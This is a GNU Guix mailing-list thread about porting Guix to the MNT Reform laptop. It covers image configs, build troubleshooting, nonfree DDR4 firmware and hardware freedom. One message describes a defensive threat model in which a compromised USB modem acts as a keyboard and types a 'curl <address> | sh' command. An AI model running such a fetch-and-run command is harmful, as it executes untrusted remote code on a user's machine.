+;;; This file is part of GNU Guix.
+;;;
+;;; GNU Guix is free software; you can redistribute it and/or modify it
+;;; under the terms of the GNU General Public License as published by
+;;; the Free Software Foundation; either version 3 of the License, or (at
+;;; your option) any later version.
+;;;
+;;; GNU Guix is distributed in the hope that it will be useful, but
+;;; WITHOUT ANY WARRANTY; without even the implied warranty of
+;;; MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+;;; GNU General Public License for more details.
+;;;
+;;; You should have received a copy of the GNU General Public License
+;;; along with GNU Guix.  If not, see <http://www.gnu.org/licenses/>.
+
+(define-module (gnu system images mnt-reform2)
+  #:use-module (gnu bootloader)
+  #:use-module (gnu bootloader u-boot)
+  #:use-module (gnu image)
+  #:use-module (gnu packages linux)
+  #:use-module (gnu services)
+  #:use-module (gnu services base)
+  #:use-module (gnu services networking)
+  #:use-module (gnu system)
+  #:use-module (gnu system file-systems)
+  #:use-module (gnu system image)
+  #:use-module (srfi srfi-26)
+  #:export (mnt-reform2-barebones-os
+            mnt-reform2-image-type
+            mnt-reform2-barebones-raw-image))
+
+(define mnt-reform2-barebones-os
+  (operating-system
+    (host-name "sarimner")
+    (timezone "Canada/Pacific")
+    (locale "en_US.utf8")
+    (bootloader (bootloader-configuration
+                 (bootloader u-boot-mnt-reform2-bootloader)
+                 (targets '("/dev/mmcblk1"))))
+    (initrd-modules '("sdhci-esdhc-imx"))
+    (kernel linux-libre-arm64-generic)
+    (file-systems (cons (file-system
+                          (device (file-system-label "my-root"))
+                          (mount-point "/")
+                          (type "ext4"))
+                        %base-file-systems))
+    (services (append (list (service dhcp-client-service-type))
+                      %base-services))))
+
+(define mnt-reform2-image-type
+  (image-type
+   (name 'mnt-reform2-raw)
+   (constructor (cut image-with-os
+                     (arm64-disk-image (* 4 (expt 2 20))) ;4MiB
+                     <>))))
+
+(define mnt-reform2-barebones-raw-image
+  (image
+   (inherit
+    (os->image mnt-reform2-barebones-os #:type mnt-reform2-image-type))
+   (name 'mnt-reform2-barebones-raw-image)))
+
+mnt-reform2-barebones-raw-image
#+end_src

And I'm using this config to create the image:
#+begin_src scheme
(use-modules (gnu)
             (gnu bootloader u-boot)
             (gnu packages bootloaders)
             (gnu packages linux)
             (gnu packages)
             (gnu services nfs)
             (gnu services sddm)
             (gnu system locale)
             (gnu system nss)
             (ice-9 rdelim)
             (ice-9 format)
             (srfi srfi-1))
(use-service-modules desktop networking ssh base xorg)
(use-package-modules wm certs shells xdisorg display-managers)

(define plattfot
  (user-account
   (name "plattfot")
   (group "users")
   ;; Define a G-Expr to find the path of the zsh binary:
   ;; https://gitlab.com/rain1/guix-wiki/wikis/FAQ#how-do-i-make-my-login-shell-zsh
   ;;(shell #~(string-append #$zsh "/bin/zsh"))
   (supplementary-groups '("wheel" "netdev" "audio" "video"))
   (home-directory "/home/plattfot")))

(define fs-root
  (file-system
   (mount-point "/")
   (type "ext4")
   (device (file-system-label "my-root"))
   (needed-for-boot? #t)))

(operating-system
  (host-name "sarimner")
  (timezone "Canada/Pacific")
  (locale "en_US.utf8")
  (locale-definitions
   (list
    (locale-definition (name "en_US.utf8") (source "en_US") (charset "UTF-8"))
    (locale-definition (name "sv_SE.utf8") (source "sv_SE") (charset "UTF-8"))))
  (bootloader
   (bootloader-configuration
    (targets '("/dev/mmcblk1"))
    (bootloader u-boot-mnt-reform2-bootloader)))
  (initrd-modules '("sdhci-esdhc-imx"))
  ;; (kernel linux-libre-arm64-generic)
  (file-systems
   (cons*
    fs-root
    %base-file-systems))
  ;; (swap-devices '("/swapfile"))
  (users (cons plattfot %base-user-accounts))
  (keyboard-layout (keyboard-layout "eu"))
  ;; (packages (cons* sway waybar
  ;;                  rofi
  ;;                  nss-certs            ;for HTTPS access
  ;;                  %base-packages))
  ;; (services
  ;;  (cons* (service openssh-service-type
  ;;                  (openssh-configuration
  ;;                   (port-number 6060)
  ;;                   (password-authentication? #f)))
  ;;         (extra-special-file "/usr/bin/env" (file-append coreutils "/bin/env"))
  ;;         (remove (lambda (service)
  ;;                   (member (service-kind service)
  ;;                           (list
  ;;                            gdm-service-type
  ;;                            )))
  ;;                 %desktop-services)))

  ;; Allow resolution of '.local' host names with mDNS.
  ;; (name-service-switch %mdns-host-lookup-nss)
  )
#+end_src

I'm building the image with:
#+begin_src shell
guix environment guix
./pre-inst-env guix system image --image-type=mnt-reform2-raw  config.scm
#+end_src

I tried with the =linux-libre-arm64-generic= first but that couldn't
find the =sdhci-esdhc-imx= module. And now when I'm testing with just
the linux-libre kernel I'm running out of space on my =/tmp=. Is there
an easy way of telling the guix-daemon to use another path for building?
Or do I need to restart it and change its =TMPDIR=?

> However, I'm actually disturbed by looking at a few things in the
> "environment-variables" file spit out in the build file.  It says the
> following:
>
> #+BEGIN_SRC sh
> export TEMP=\
> "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0"
> export TEMPDIR=\
> "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0"
> export TMP=\
> "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0"
> export TMPDIR=\
> "/tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-0"
> #+END_SRC
>
> But here's the weird thing.  This is in:
>
>   /tmp/guix-build-u-boot-mnt-reform2-2021.06.drv-4
>
> Now wait a minute.  Look at that last number.  What the hell is going on
> here?  Is this a bug in Guix?  Why is it pointing at -0 in the -4 build
> directory?

I stumbled upon this when checking how to change the build directory for
the guix-daemon [0]:

#+begin_quote
   When the daemon performs a build on behalf of the user, it creates a
build directory under ‘/tmp’ or under the directory specified by its
‘TMPDIR’ environment variable.  This directory is shared with the
container for the duration of the build, though within the container,
the build tree is always called ‘/tmp/guix-build-NAME.drv-0’.
#+end_quote

[0]
https://guix.gnu.org/manual/en/html_node/Invoking-guix_002ddaemon.html

So I don't think it's a bug.

-- 
s/Fred[re]+i[ck]+/Fredrik/g


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-06 23:59             ` Fredrik Salomonsson
@ 2021-09-07  1:13               ` Fredrik Salomonsson
  0 siblings, 0 replies; 31+ messages in thread
From: Fredrik Salomonsson @ 2021-09-07  1:13 UTC (permalink / raw)
  To: Christine Lemmer-Webber; +Cc: help-guix

Fredrik Salomonsson <plattfot@posteo.net> writes:

> I'm building the image with:
> #+begin_src shell
> guix environment guix
> ./pre-inst-env guix system image --image-type=mnt-reform2-raw  config.scm
> #+end_src
>
> I tried with the =linux-libre-arm64-generic= first but that couldn't
> find the =sdhci-esdhc-imx= module. And now when I'm testing with just
> the linux-libre kernel I'm running out of space on my =/tmp=. Is there
> an easy way of telling the guix-daemon to use another path for building?
> Or do I need to restart it and change its =TMPDIR=?

Just to follow up, I got a bit further by changing the =TMPDIR= to a
directory in my home directory. I'm using guix on a foreign distro so I
just did a quick edit on the systemd service file:

#+begin_src shell
mkdir /home/plattfot/scratch
sudo systemctl stop guix-daemon.service
sudo systemctl edit guix-daemon.service
#+end_src

#+begin_src conf
[Service]
Environment=TMPDIR=/home/plattfot/scratch
#+end_src

#+begin_src shell
sudo systemctl start guix-daemon.service
#+end_src

It now fails when building the info-dir

#+begin_src shell
building directory of Info manuals...
builder for `/gnu/store/qv4mh2hvryj33qyi0cw4nzbgy1l17xv6-info-dir.drv' failed with exit code 1
build of /gnu/store/qv4mh2hvryj33qyi0cw4nzbgy1l17xv6-info-dir.drv failed
View build log at '/var/log/guix/drvs/qv/4mh2hvryj33qyi0cw4nzbgy1l17xv6-info-dir.drv.bz2'.
cannot build derivation `/gnu/store/g1lqn7h5baxq8grv2k2kjrjdvkpxlzn7-profile.drv': 1 dependencies couldn't be built
cannot build derivation `/gnu/store/wybzgz18szsrnk5rayyxgh3hvsqrg6mg-system.drv': 1 dependencies couldn't be built
cannot build derivation `/gnu/store/kp5086frygpvfmlyb2wa78shgciwvd4p-partition.img.drv': 1 dependencies couldn't be built
cannot build derivation `/gnu/store/3g9fqz36rw1pqzdh35ds3vnpgidqk40y-genimage.cfg.drv': 1 dependencies couldn't be built
cannot build derivation `/gnu/store/gazkm0vdj2i6iw7i0r8d1hlr02aqglpm-disk-image.drv': 1 dependencies couldn't be built
guix system: error: build of `/gnu/store/gazkm0vdj2i6iw7i0r8d1hlr02aqglpm-disk-image.drv' failed
#+end_src

The build log is empty, so I'm not sure what went wrong.

Sadly that's all the time I have for this today. I'll see if I can find
some time during the rest of week, otherwise I'll continue on the
weekend.

NOTE: to undo the changes on the service file you can simply run:
#+begin_src shell
sudo systemctl revert guix-daemon.service
#+end_src

-- 
s/Fred[re]+i[ck]+/Fredrik/g


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-05  1:31     ` Christine Lemmer-Webber
  2021-09-06 17:07       ` Christine Lemmer-Webber
@ 2021-09-07  4:36       ` Denis 'GNUtoo' Carikli
  2021-09-07 18:18         ` Christine Lemmer-Webber
  1 sibling, 1 reply; 31+ messages in thread
From: Denis 'GNUtoo' Carikli @ 2021-09-07  4:36 UTC (permalink / raw)
  To: Christine Lemmer-Webber; +Cc: help-guix

[-- Attachment #1: Type: text/plain, Size: 948 bytes --]

On Sat, 04 Sep 2021 21:31:08 -0400
Christine Lemmer-Webber <cwebber@dustycloud.org> wrote:

> So we probably want to make a u-boot-mnt-reform in
> gnu/packages/bootloaders.scm
The issue is that the I.MX8 requires a nonfree firmware for the DDR4
controller.

If you grep for firmware-imx in the u-boot source code you will find
mentions of it in the READMEs documentation for many I.MX8 boards.

So that firmware probably need to be reimplemented as free software
somehow.

Alternatively there are some new system on module (SOM) boards that are
also compatible with the MNT Reform[1] that might at least boot with
free software.

I've also started documenting the MNT reform on a Liberplanet wiki
page[2] but it's really a draft at this point.

References:
-----------
[1]https://community.mnt.re/t/ideas-for-processors-for-mnt-reform/237
[2]https://libreplanet.org/wiki/Group:Hardware/research/laptop/Mnt_Reform

Denis.

[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 833 bytes --]

^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-07  4:36       ` Denis 'GNUtoo' Carikli
@ 2021-09-07 18:18         ` Christine Lemmer-Webber
  2021-09-07 20:07           ` Denis 'GNUtoo' Carikli
  0 siblings, 1 reply; 31+ messages in thread
From: Christine Lemmer-Webber @ 2021-09-07 18:18 UTC (permalink / raw)
  To: Denis 'GNUtoo' Carikli; +Cc: help-guix

Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes:

> [[PGP Signed Part:Undecided]]
> On Sat, 04 Sep 2021 21:31:08 -0400
> Christine Lemmer-Webber <cwebber@dustycloud.org> wrote:
>
>> So we probably want to make a u-boot-mnt-reform in
>> gnu/packages/bootloaders.scm
> The issue is that the I.MX8 requires a nonfree firmware for the DDR4
> controller.

Oh really?  And it's not on hardware, needs to be compiled into either
u-boot or the kernel I guess?

I had thought looking at the manual of the MNT Reform that only the HDMI
port required a blob.  This will be disappoiting if we can't get the
Reform into Guix proper soon.  There are of course channels, and maybe
the work here might have to move to one of those locations rather than
getting committed to the main guix repo, but I hope not.

Hm, seems confirmed from the #mnt-reform channel on libera:

<cwebber> hm is this true?
<cwebber> https://lists.gnu.org/archive/html/help-guix/2021-09/msg00035.html
<cwebber> do you need a piece of nonfree firmware to get the reform to boot?
<bluerise> The bootloader contains a training firmware that is supplied to the
           DDR4 controller
<cwebber> I see
<bluerise> So yes, there's a blob that is given to the DDR4 controller
<cwebber> so yes, until that is replaced
<bluerise> 'replaced'?
<cwebber> looks like we won't be able to get the reform in guix proper then
<cwebber> since it has a pretty strict libre policy
<cwebber> but, it could go in a channel I guess

> If you grep for firmware-imx in the u-boot source code you will find
> mentions of it in the READMEs documentation for many I.MX8 boards.

That's too bad.

> So that firmware probably need to be reimplemented as free software
> somehow.

Or:

<bluerise> the trick is to flash the non-free bootloader into the SoM's eMMC
<bluerise> then you don't have to see the non-free software ;)

Of course, though I think a purely libre policy is quite good, the
criticism remains correct that it's a bit absurd that we tend to relax
once we move it "out of sight, out of mind".  But one can only make so
much progress at once.  Maybe some day we'll have hardware that's truly
free from top to bottom.  I do think the Reform helps advance towards
that goal: at least it makes things very incrementally improvable in
ways that other laptop designs do not.  So I would like to get Guix
working with it... even if we have to outsource our process to a
separate channel until a fully free solution exists.

> Alternatively there are some new system on module (SOM) boards that are
> also compatible with the MNT Reform[1] that might at least boot with
> free software.
>
> I've also started documenting the MNT reform on a Liberplanet wiki
> page[2] but it's really a draft at this point.

Maybe of note for that page:

<bluerise> 'If it's connected through PCI, it could be a security issue as
           IOMMUs tend to be too easy to bypass in practice as they are often
           not well configured by various software components like u-boot,
           Linux and so on.'
<bluerise> The i.MX8M has *no* IOMMU

> References:
> -----------
> [1]https://community.mnt.re/t/ideas-for-processors-for-mnt-reform/237
> [2]https://libreplanet.org/wiki/Group:Hardware/research/laptop/Mnt_Reform
>
> Denis.

Thank you for your hard work on this and many other important things to
improve our computing freedom situations, Denis!

> [[End of PGP Signed Part]]



^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-07 18:18         ` Christine Lemmer-Webber
@ 2021-09-07 20:07           ` Denis 'GNUtoo' Carikli
  2021-09-08 10:32             ` Christine Lemmer-Webber
  0 siblings, 1 reply; 31+ messages in thread
From: Denis 'GNUtoo' Carikli @ 2021-09-07 20:07 UTC (permalink / raw)
  To: Christine Lemmer-Webber; +Cc: help-guix

[-- Attachment #1: Type: text/plain, Size: 4592 bytes --]

On Tue, 07 Sep 2021 14:18:01 -0400
Christine Lemmer-Webber <cwebber@dustycloud.org> wrote:
> Oh really?
I really wonder how to improve the situation. Several companies are
making hardware that don't work with fully free software but a lot
of users using their hardware think that they are running only free
software.

With Puri.sm laptops for instance, the issue is probably that the
Coreboot project has a reputation of being fully free while it's not.

On recent computers, in addition to the Intel Management Engine / AMD
PSP issue, there is also a huge nonfree binary (Intel FSP or
a nonfree version of AMD's AGESA) that does all the work.

Another common misunderstanding is that "small nonfree firmwares" could
turn to be really issues. As they are not well understood it's hard
to know. For instance the GPU firmware of the Raspberry PI, at least on
some models is a complete operating system[2].

The FSF has a (Respect Your Freedom) certification[1] to address
precisely that kind of issues, though they require everything
to work with free software not to steer users toward nonfree software. 

And that strictness is also a good thing in my opinion as otherwise
users would probably end up buying hardware thinking it can work with
only free software, and if it's too painful (for instance if the GPU
doesn't work) they'd end up using nonfree software anyway, despite
the fact that they decided to buy that kind of hardware precisely not
to have to run nonfree software.

> And it's not on hardware, needs to be compiled into either
> u-boot or the kernel I guess?
I don't know, I didn't look into where the nonfree binary is.

> I had thought looking at the manual of the MNT Reform that only the
> HDMI port required a blob.  This will be disappoiting if we can't get
> the Reform into Guix proper soon.  There are of course channels, and
> maybe the work here might have to move to one of those locations
> rather than getting committed to the main guix repo, but I hope not.

In their "Re-Introducing Reform" blog post[3], MNT Research states the
following:
> Unfortunately, during the boot process, i.MX8M requires a
> closed-source firmware for an embedded ARCompact processor in the
> Synopsys DDR4 PHY. This firmware, which is only a few kilobytes in
> size, is responsible for regulating the physical connection to the
> DDR chips in the face of changing temperatures. We are in contact
> with reverse engineers with the goal of analyzing what the
> capabilities of this so called PHY Utility Block (PUB) are, and to
> find out if we have a chance to replace this firmware at some point
> in the future.
So it would also be a good idea to remind them about that and
potentially look for other declarations from MNT Research about the
DDR4 firmware.

A way to handle that could be to make the most basic firmware that
would make the machine boot and keep the machine running, not
necessarily with huge performance.

This is how it was done for the first generation Core I.5/I.7 computers
in Coreboot. It was then improved to have cleaner code and make it
way faster.

> <bluerise> the trick is to flash the non-free bootloader into the
> SoM's eMMC <bluerise> then you don't have to see the non-free
> software ;)
Here I see several issues with that:
- If it's not shipped by default by the company making the hardware,
  users will expect to be able to install Guix on it for instance, and
  the instructions to make it work would require to steer users toward
  the download, compilation and installation of nonfree software.
- If it's on an eMMC, users could accidentally remove it, and they
  would end up needing to install it again So we'd have the same issue
  than above.
- If it needs to be updated for some reasons, once again we end up with
  the same issue.
- And as usual with workarounds like that it doesn't really fix the
  issue.

We probably need some kind of way to fix that, maybe some sort of
collective funding to fund people to work on tasks like that?

Here this I'MX8 issue also affect the Librem5 for instance, and
probably several other devices as well. And the neat thing about the
Librem 5 is that as I understand is that the modem and the WiFi cards
are removable.

> <bluerise> The i.MX8M has *no* IOMMU
Oh, I didn't know that, thanks a lot.

References:
-----------
[1]https://ryf.fsf.org/
[2]https://ownyourbits.com/2019/02/02/whats-wrong-with-the-raspberry-pi/
[3]https://www.crowdsupply.com/mnt/reform/updates/re-introducing-reform

Denis.

[-- Attachment #2: OpenPGP digital signature --]
[-- Type: application/pgp-signature, Size: 833 bytes --]

^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-07 20:07           ` Denis 'GNUtoo' Carikli
@ 2021-09-08 10:32             ` Christine Lemmer-Webber
  2021-09-08 16:47               ` Vagrant Cascadian
  2021-09-08 18:08               ` Christine Lemmer-Webber
  0 siblings, 2 replies; 31+ messages in thread
From: Christine Lemmer-Webber @ 2021-09-08 10:32 UTC (permalink / raw)
  To: Denis 'GNUtoo' Carikli; +Cc: help-guix

Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes:

> [[PGP Signed Part:Undecided]]
> On Tue, 07 Sep 2021 14:18:01 -0400
> Christine Lemmer-Webber <cwebber@dustycloud.org> wrote:
>> Oh really?
>
> I really wonder how to improve the situation. Several companies are
> making hardware that don't work with fully free software but a lot
> of users using their hardware think that they are running only free
> software.

Arguably, nobody is, RYF or not, since we are plagued with nonfree
either "hidden" from users or not.  However, I respect the RYF approach
as an interim solution... I think we need to work on it from multiple
angles, and the line drawn in the sand by RYF is still useful.

However, really long term what we want is a top to bottom FOSS system,
one where we have schematics for really all the components and the
firmware for them, whether exposed to users or not, as well.

At the moment, this feels like a pipe dream, but hackable hardware such
as the Reform at least does advance towards that; as you've already
noted, there are possible paths forward for swapping out this layer in
the Reform.  Thus I think this is a worthwhile direction.  Contrast to
where we've mostly been stuck for much of the last decade and a half of
computers, where it felt like nearly everything new on the market was
sealed off and unavailable for modification to users.

I am glad, btw, that you are looking for something RYF-compatible that
can be slotted into the Reform.  Please keep us updated here with the
results of your work.  (And is there a way we can support you?  For
instance, if purchasing and sending you hardware to experiment with
could help, I am happy to help there.)

Back to some optimism: even though nothing is currently ideal, the
current work on RISC-V boards and the increasing availability of
hardware that feels like it has "community touch" to it makes me hopeful
for the future in a way that I wasn't feeling for most of the last
decade.

> With Puri.sm laptops for instance, the issue is probably that the
> Coreboot project has a reputation of being fully free while it's not.
>
> On recent computers, in addition to the Intel Management Engine / AMD
> PSP issue, there is also a huge nonfree binary (Intel FSP or
> a nonfree version of AMD's AGESA) that does all the work.
>
> Another common misunderstanding is that "small nonfree firmwares" could
> turn to be really issues. As they are not well understood it's hard
> to know. For instance the GPU firmware of the Raspberry PI, at least on
> some models is a complete operating system[2].
>
> The FSF has a (Respect Your Freedom) certification[1] to address
> precisely that kind of issues, though they require everything
> to work with free software not to steer users toward nonfree software. 
>
> And that strictness is also a good thing in my opinion as otherwise
> users would probably end up buying hardware thinking it can work with
> only free software, and if it's too painful (for instance if the GPU
> doesn't work) they'd end up using nonfree software anyway, despite
> the fact that they decided to buy that kind of hardware precisely not
> to have to run nonfree software.
>
>> And it's not on hardware, needs to be compiled into either
>> u-boot or the kernel I guess?
>
> I don't know, I didn't look into where the nonfree binary is.
>
>> I had thought looking at the manual of the MNT Reform that only the
>> HDMI port required a blob.  This will be disappoiting if we can't get
>> the Reform into Guix proper soon.  There are of course channels, and
>> maybe the work here might have to move to one of those locations
>> rather than getting committed to the main guix repo, but I hope not.
>
> In their "Re-Introducing Reform" blog post[3], MNT Research states the
> following:
>
>> Unfortunately, during the boot process, i.MX8M requires a
>> closed-source firmware for an embedded ARCompact processor in the
>> Synopsys DDR4 PHY. This firmware, which is only a few kilobytes in
>> size, is responsible for regulating the physical connection to the
>> DDR chips in the face of changing temperatures. We are in contact
>> with reverse engineers with the goal of analyzing what the
>> capabilities of this so called PHY Utility Block (PUB) are, and to
>> find out if we have a chance to replace this firmware at some point
>> in the future.

So, that is disappointing, but also a space for optimism I guess?  I
would be curious to know more about this reverse engineering effort.

> So it would also be a good idea to remind them about that and
> potentially look for other declarations from MNT Research about the
> DDR4 firmware.

Yeah.

> A way to handle that could be to make the most basic firmware that
> would make the machine boot and keep the machine running, not
> necessarily with huge performance.
>
> This is how it was done for the first generation Core I.5/I.7 computers
> in Coreboot. It was then improved to have cleaner code and make it
> way faster.

That seems reasonable.

>> <bluerise> the trick is to flash the non-free bootloader into the
>> SoM's eMMC <bluerise> then you don't have to see the non-free
>> software ;)
>
> Here I see several issues with that:
> - If it's not shipped by default by the company making the hardware,
>   users will expect to be able to install Guix on it for instance, and
>   the instructions to make it work would require to steer users toward
>   the download, compilation and installation of nonfree software.
> - If it's on an eMMC, users could accidentally remove it, and they
>   would end up needing to install it again So we'd have the same issue
>   than above.
> - If it needs to be updated for some reasons, once again we end up with
>   the same issue.
> - And as usual with workarounds like that it doesn't really fix the
>   issue.

Yes I agree with those concerns.

> We probably need some kind of way to fix that, maybe some sort of
> collective funding to fund people to work on tasks like that?

I would love to see and support a libre hardware research lab.

> Here this I'MX8 issue also affect the Librem5 for instance, and
> probably several other devices as well. And the neat thing about the
> Librem 5 is that as I understand is that the modem and the WiFi cards
> are removable.

I am guessing the Pinephone has a similar issue (or more) though I'm not
sure.  Pinephone doesn't have removeable cards, though it does have kill
switches, which is neat.  I guess "removeable" is better if it also
means "replaceable" though.

>> <bluerise> The i.MX8M has *no* IOMMU
>
> Oh, I didn't know that, thanks a lot.
>
> References:
> -----------
> [1]https://ryf.fsf.org/
> [2]https://ownyourbits.com/2019/02/02/whats-wrong-with-the-raspberry-pi/
> [3]https://www.crowdsupply.com/mnt/reform/updates/re-introducing-reform
>
> Denis.
>
> [[End of PGP Signed Part]]



^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-08 10:32             ` Christine Lemmer-Webber
@ 2021-09-08 16:47               ` Vagrant Cascadian
  2021-09-08 18:10                 ` Christine Lemmer-Webber
  2021-09-09 14:10                 ` Denis 'GNUtoo' Carikli
  2021-09-08 18:08               ` Christine Lemmer-Webber
  1 sibling, 2 replies; 31+ messages in thread
From: Vagrant Cascadian @ 2021-09-08 16:47 UTC (permalink / raw)
  To: Christine Lemmer-Webber, Denis 'GNUtoo' Carikli; +Cc: help-guix

[-- Attachment #1: Type: text/plain, Size: 1327 bytes --]

On 2021-09-08, Christine Lemmer-Webber wrote:
> Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes:
>> Here this I'MX8 issue also affect the Librem5 for instance, and
>> probably several other devices as well. And the neat thing about the
>> Librem 5 is that as I understand is that the modem and the WiFi cards
>> are removable.
>
> I am guessing the Pinephone has a similar issue (or more) though I'm not
> sure.

The Pinephone doesn't have that specific issue, as it's a different CPU
(Allwinner A64), the same used on the pine64+ and pinebook, which are
supported in Guix's u-boot. I vaguely recall those boards having similar
types of issues early on requiring some binary blobs, but it was fixed
in u-boot upstream with a free implementation!


> Pinephone doesn't have removeable cards, though it does have kill
> switches, which is neat.  I guess "removeable" is better if it also
> means "replaceable" though.

Yeah, one of the many features that pushed me over the edge in
supporting the mnt/reform was all the swappable components; if
reverse-engineering does not happen for one of the few components that
isn't already free, the component liklely can be swapped out for one
with a free implementation. And the inherent upgradability in designing
something with swappable components...


live well,
  vagrant

[-- Attachment #2: signature.asc --]
[-- Type: application/pgp-signature, Size: 227 bytes --]

^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-08 10:32             ` Christine Lemmer-Webber
  2021-09-08 16:47               ` Vagrant Cascadian
@ 2021-09-08 18:08               ` Christine Lemmer-Webber
  1 sibling, 0 replies; 31+ messages in thread
From: Christine Lemmer-Webber @ 2021-09-08 18:08 UTC (permalink / raw)
  Cc: help-guix

Christine Lemmer-Webber <cwebber@dustycloud.org> writes:

> Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes:
>
>> Christine Lemmer-Webber <cwebber@dustycloud.org> wrote:
>>
>>> I had thought looking at the manual of the MNT Reform that only the
>>> HDMI port required a blob.  This will be disappoiting if we can't get
>>> the Reform into Guix proper soon.  There are of course channels, and
>>> maybe the work here might have to move to one of those locations
>>> rather than getting committed to the main guix repo, but I hope not.
>>
>> In their "Re-Introducing Reform" blog post[3], MNT Research states the
>> following:
>>
>>> Unfortunately, during the boot process, i.MX8M requires a
>>> closed-source firmware for an embedded ARCompact processor in the
>>> Synopsys DDR4 PHY. This firmware, which is only a few kilobytes in
>>> size, is responsible for regulating the physical connection to the
>>> DDR chips in the face of changing temperatures. We are in contact
>>> with reverse engineers with the goal of analyzing what the
>>> capabilities of this so called PHY Utility Block (PUB) are, and to
>>> find out if we have a chance to replace this firmware at some point
>>> in the future.
>
> So, that is disappointing, but also a space for optimism I guess?  I
> would be curious to know more about this reverse engineering effort.
>
>> So it would also be a good idea to remind them about that and
>> potentially look for other declarations from MNT Research about the
>> DDR4 firmware.
>
> Yeah.

I talked with them a bit today btw.  There hasn't been progress, and the
conversation might have reignited some interest, but it was made clear
that this was not a current focus at the moment.


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-08 16:47               ` Vagrant Cascadian
@ 2021-09-08 18:10                 ` Christine Lemmer-Webber
  2021-09-09 14:10                 ` Denis 'GNUtoo' Carikli
  1 sibling, 0 replies; 31+ messages in thread
From: Christine Lemmer-Webber @ 2021-09-08 18:10 UTC (permalink / raw)
  To: Vagrant Cascadian; +Cc: help-guix

Vagrant Cascadian <vagrant@debian.org> writes:

> [[PGP Signed Part:Undecided]]
> On 2021-09-08, Christine Lemmer-Webber wrote:
>> Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes:
>>> Here this I'MX8 issue also affect the Librem5 for instance, and
>>> probably several other devices as well. And the neat thing about the
>>> Librem 5 is that as I understand is that the modem and the WiFi cards
>>> are removable.
>>
>> I am guessing the Pinephone has a similar issue (or more) though I'm not
>> sure.
>
> The Pinephone doesn't have that specific issue, as it's a different CPU
> (Allwinner A64), the same used on the pine64+ and pinebook, which are
> supported in Guix's u-boot. I vaguely recall those boards having similar
> types of issues early on requiring some binary blobs, but it was fixed
> in u-boot upstream with a free implementation!

Oh good news!  It's nice to hear of success stories like this.

Speaking of, the other "guix system image" thing on my queue was to work
on getting Guix running (if not usable as a phone) on my pinephone.

I tried:

  guix system image --image-type=pine64-raw pine64-barebones.scm

and flashing the output to an SD card, but that didn't boot (or if it
did, it didn't display anything on the screen).  So I assume some extra
work is necessary.

 - Christine


^ permalink raw reply	[flat|nested] 31+ messages in thread

* Re: Guix on the MNT Reform
  2021-09-08 16:47               ` Vagrant Cascadian
  2021-09-08 18:10                 ` Christine Lemmer-Webber
@ 2021-09-09 14:10                 ` Denis 'GNUtoo' Carikli
  1 sibling, 0 replies; 31+ messages in thread
From: Denis 'GNUtoo' Carikli @ 2021-09-09 14:10 UTC (permalink / raw)
  To: Vagrant Cascadian; +Cc: help-guix

[-- Attachment #1: Type: text/plain, Size: 4354 bytes --]

On Wed, 08 Sep 2021 09:47:02 -0700
Vagrant Cascadian <vagrant@debian.org> wrote:

> On 2021-09-08, Christine Lemmer-Webber wrote:
> > Denis 'GNUtoo' Carikli <GNUtoo@cyberdimension.org> writes:
> >> Here this I'MX8 issue also affect the Librem5 for instance, and
> >> probably several other devices as well. And the neat thing about
> >> the Librem 5 is that as I understand is that the modem and the
> >> WiFi cards are removable.
> >
> > I am guessing the Pinephone has a similar issue (or more) though
> > I'm not sure.
> 
> The Pinephone doesn't have that specific issue, as it's a different
> CPU (Allwinner A64), the same used on the pine64+ and pinebook, which
> are supported in Guix's u-boot. I vaguely recall those boards having
> similar types of issues early on requiring some binary blobs, but it
> was fixed in u-boot upstream with a free implementation!

WiFi:
-----
For any FSDG compliant distribution, the issue with the Pinephone will
be the WiFi: the WiFi driver requires a nonfree firmware.

There might be a way around that though: There are various Realtek
drivers that are released as GPL with the binary firmware as hex arrays
inside the drivers, in files with GPL headers.

And I even managed to find someone at an event (CCC Camp) that did a
little bit of reverse engineering on one of such binary firmwares.

Since we have GPL headers, we should be legally safe here and almost
everything should be permitted, including decompilation, automatic
reconstruction of corresponding source code, etc.

However the firmware architecture (8051) is less well supported by some
of the tools like retdec for instance, but we still have tools
like radare2, or sdcc that support it. And we even probably have several
emulators for that architecture as well.

Modem:
------
There is also another issue that affects several smartphones like the
Librem5, the GTA04 (if I recall well), and the Pinephone, but it's not
directly related to FSDG distributions: the modem is connected through
USB. It also affects some laptops with (potentially builtin) USB modems.

While it's order of magnitude better than most phones that have shared
memory[2], we still need to protect against the modem being potentially
malicious.

To do that we might need to enable usbguard or similar things and
disable usb in u-boot for instance, to be sure that the modem can't
become a keyboard.

On some devices it might be really easy for an attacker to make the
modem become a keyboard as in some cases the modem is really a
smartphone on a chip[3], and so it has some mix of Android and GNU/Linux
running in one of its processor (and probably nonfree modem firmwares /
OS running on the other processors).

So on the GNU/Linux side of the modem you can probably reconfigure the
USB peripheral to also be a keyboard. And it might not be that hard for
attackers to find vulnerabilities in the modem cellular stack and
escalate to the GNU/Linux part of the modem[4].

Once there, the attacker wound't be able to reconfigure the modem as a
keyboard and run commands with 'Alt+F2 + curl <address> | sh' if
usbguard blocks the USB reconfiguration of the modem.

And while that kind of risk might not affect everybody, I think it
would still be a good idea to address them as sometimes compromise of
smartphones can lead to people being killed by repressive political
regimes[5]. And it would be a bad thing if these people wound't be able
